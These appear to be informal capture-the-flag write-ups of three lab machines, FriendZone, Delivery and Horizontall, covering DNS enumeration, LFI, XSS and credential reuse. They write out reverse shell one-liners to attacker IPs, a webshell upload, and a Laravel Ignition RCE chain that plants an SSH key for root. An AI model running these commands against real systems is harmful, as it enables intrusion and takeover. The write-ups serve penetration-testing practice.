i temporarily don’t know what’s the meaning of it
TCP is only used in DNS when the response size is greater than 512 bytes. Typically this is associated with Zone Transfers, where the server give all the information it has for a domain. There’s a few things I could try to enumerate DNS, but the fact that the host is listening on TCP 53 suggests the first thing I should try is a Zone Transfer.
I’ll do that with dig. I’ll start with friendzone.htb, and get nothing:
Since I have a domain name in the TLS certificate, I’ll try that:
I can also try the domain I got on the first webpage, “friendzoneportal.red”:
I’ll update my hosts file for each of these:
because the pic is load by the full path,we can try to find load file inclusion
1.image_id
The image_id, such as a.jpg is a full file name. I’ll try giving it a php page, which it would load if that file is being shown using include in php. Unfortunately, it just shows a broken image:
Looking at the source, I see <img src='images/timestamp.php'>
. I could play with XSS here, and see if I can get it to load a script. For example, if I set image_id=' onerror='javascript: alert("XXS HERE");
, I get a pop-up:
The source explains it: <img src='images/' onerror='javascript: alert("XXS HERE");'>
2.pagename
Since the given example case is timestamp
, and there’s a timestamp.php
in the same directory, I can assume that this is likely doing a include($_GET["pagename"] . ".php")
. I can test this by having it point to other php pages.
Visiting https://administrator1.friendzone.red/login.php
returns: Wrong!
and we change to pagename to login can also see the same word
I can use this LFI to read source code for these pages using php filters. If I visit pagename=php://filter/convert.base64-encode/resource=dashboard
, I can see a long base64 string on the page:
decoding it,and we can find something
we can do the same thing to read upload pagename=php://filter/convert.base64-encode/resource=../uploads/upload
I want to use this LFI to include a webshell so I can run commands. I’ll use my smb access to drop a simple php command shell into the Development share, which nmap told me was /etc/Development.
and upload it to the machine
smbclient -N //10.10.10.123/Development -c 'put cmd.php zyz.php'
I’ll use my go to from the Reverse Shell Cheat Sheet and visit: https://administrator1.friendzone.red/dashboard.php?image_id=&pagename=../../../etc/Development/zyz&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.16.10 4444 >/tmp/f
(remembering to encode the & as %26):
After a shell upgrade (python -c 'import pty;pty.spawn("bash")'
, ctrl-z
, stty raw -echo;fg
, reset
, enter “screen” for terminal type if asked), I’ve got a full shell. And I can get user.txt.
In the /var/www/ directory, there’s folders for all the different sites, as well as an sql conf file:
use the password to su friend
search around the machine, there has a py script in /opt/server_admin
find /tmp can write to upload our pspy
our machine:python3 -m http.server 80
target machine:wget http://10.10.16.10/pspy32s
chmod +x pspy32s
./pspy32s
and we can find that root was running this script every two minutes:
via linpeas.sh,we find a file that friend can write
we append the following scripts to the end of it
and finally we get the root
echo "10.10.10.222 helpdesk.delivery.htb" >> /etc/hosts
the port 80 shows nothing,but we can change to http://helpdesk.delivery.htb/index.php to get some information
it shows it’s run a osTicket structer on 80
and on port 8065,it shows another login page
i first add a user in mattermost and try to find a exploit
it need me to varify
so let’s use searchsploit osticket and try to exploit
all the register need verify
as a guest,we can open a new ticket and see it’s feedback
because the machine can not access to the internet,the verify step is unable
but when I created a ticket, it offered the ability to update the ticket over email. I can use that to get the verification email.
I’ll create a ticket and get the email address for it. Then sign up for a MatterMost account:
the default email is 2200493@delivery.htb
register a new account use 2200493@delivery.htb
check the ticketnum use 2200493
and now we get the verify mail
verify the link and we can get in
in the website,we can see a credential —maildeliverer:Youve_G0t_Mail!
and it shows a hint that may password are PleaseSubscribe!
then i can try to use creds i just get to ssh the machine
Mattermost stores it’s configuration in /opt/mattermost/config/config.json. The database connection information is in here:
username:mmuser
password:Crack_The_MM_Admin_PW
database:mattermost
we can get username and password from the table User
select Username,Password from Users;
we can save the hash to a file and save the hint PleaseSubscribe! to another file
and the result is PleaseSubscribe!21
finally,we get the root
first we add the host to /etc/hosts
echo "10.10.11.105 horizontall.htb" >> /etc/hosts
the website don’t have any button can link to other pages
the page has two js file,and we can read them to find something
The JavaScript in app.c68eb462.js is minified, but tossing it into a jsFormatter returns 654 lines of JavaScript. Glancing through it, this section jumped out because it reveals a subdomain:
after this,i also use firsearch and fuzz to test the website,but we don’t have some useful information
so we first add the api-prod.horizontall.htb
to /etc/hosts
echo "10.10.11.105 api-prod.horizontall.htb" >> /etc/hosts
and visit the page and use dirsearch the site,we can see some admin pages and a /reviews page
the reviews page returns a json string
in the admin page,we know it build with strapi
we can use searchsploit to search and use msfconsole to make some exploit
we can see the poc and get the way to know the version
the version greatly match the exploit,so we can try to change the password
we can use the command to reverse a shell
bash -c 'bash -i >& /dev/tcp/10.10.14.15/8888 0>&1'
python3 -c 'import pty;pty.spawn("/bin/bash")'
in the /home/developer
,we don’t have permission
the existence of a composer-setup.php
file suggests there’s some kind of PHP site in use here.
Looking at the netstat
, there’s the site on 80, and a NodeJS side on 1337. There’s also MySQL on 3306 (which makes sense). But there’s also something on 8000:
The service on 8000 is an HTTP server:
And based on the response and the cookies, it looks like Laravel, a PHP framework.
the strapi user’s home directory is /opt/strapi, I can still add a .ssh directory and an authorized_keys file. I’ll add my key:
now we get a default page running in localhost:8000
use dirsearch and we can find a /profiles
But not only does it crash, but it returns a bunch of information. This is Laravel debug mode.
the laravel has a remote code execution <=v8.4.2 Debug Mode
we can get a poc from repo
Reviewing the code we see where the id command is being executed:
we can set the SUID bit to bash for a quick privilege escalation to root shown in the rce2:
we can see that the SUID is set with ls -l /bin/bash
To show it works, I’ll start with the id command. First, I’ll generate the payload using phpggc:
php -d'phar.readonly=0' /opt/phpggc/phpggc --phar phar -o id.phar --fast-destruct monolog/rce1 system id
This creates a serialized PHP file, which I saved as id.phar. The file looks like a PHP object:
the command,id
, is on line 0x000000f0.
Now I’ll run the Python script, passing it the serialized payload:
python3 /opt/laravel-exploits/laravel-ignition-rce.py http://127.0.0.1:8000 id.phar
to get a shell,we can regenerate a new payload, this time creating /root/.ssh if it doesn’t exist, and then writing my SSH key to authorized_keys:
php -d'phar.readonly=0' /opt/phpggc/phpggc --phar phar -o ssh.phar --fast-destruct monolog/rce1 system 'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> /root/.ssh/authorized_keys'
Run the exploit again,and we can also get the root access.